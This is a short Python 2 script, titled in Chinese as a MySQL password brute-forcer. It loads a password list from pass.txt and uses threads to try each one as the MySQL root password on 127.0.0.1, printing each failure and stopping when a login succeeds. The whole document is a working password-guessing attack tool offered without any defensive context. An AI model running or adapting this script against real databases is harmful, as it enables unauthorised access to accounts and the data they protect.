python暴力破解mysql密码

#!/usr/bin/env python
#coding=utf-8
import Queue
from threading import Thread
import sys
import MySQLdb
import time

class End():
    def __init__(self):
        self.end = False

    def Finish(self):
        self.end = True

    def GetEnd(self):
        return self.end 

class Connection(Thread):
    def __init__(self,queue,TheEnd):
        Thread.__init__(self)
        self.queue = queue
        self.TheEnd = TheEnd

    def run(self):
        while (not self.TheEnd.GetEnd()) and (not self.queue.empty()):
            pwd = self.queue.get()
            try:
                dbConn = MySQLdb.Connect(user = 'root', passwd = pwd, host = "127.0.0.1", db = 'mysql')
            except:
                print "[+]root:" + pwd + " Connect wrong.."
                continue
            print "[+]root:" + pwd + " Connect success.."
            self.TheEnd.Finish()

def main():
    queue=Queue.Queue()
    TheEnd = End()

    pwds = [line.rstrip() for line in open("pass.txt")]
    for pwd in pwds:
        queue.put(pwd)
    initsize = queue.qsize()
    tested = 0
    threads = 1    #修改线程处
    for i in range(0,int(threads)):
        Connection(queue,TheEnd).start()
    while (not TheEnd.GetEnd()) and (not queue.empty()):
        time.sleep(2)
        actsize = queue.qsize()
        tested = initsize - actsize

        print 'use %i password | Remaining %i password ' %(tested,actsize)

if __name__ == '__main__':
    main()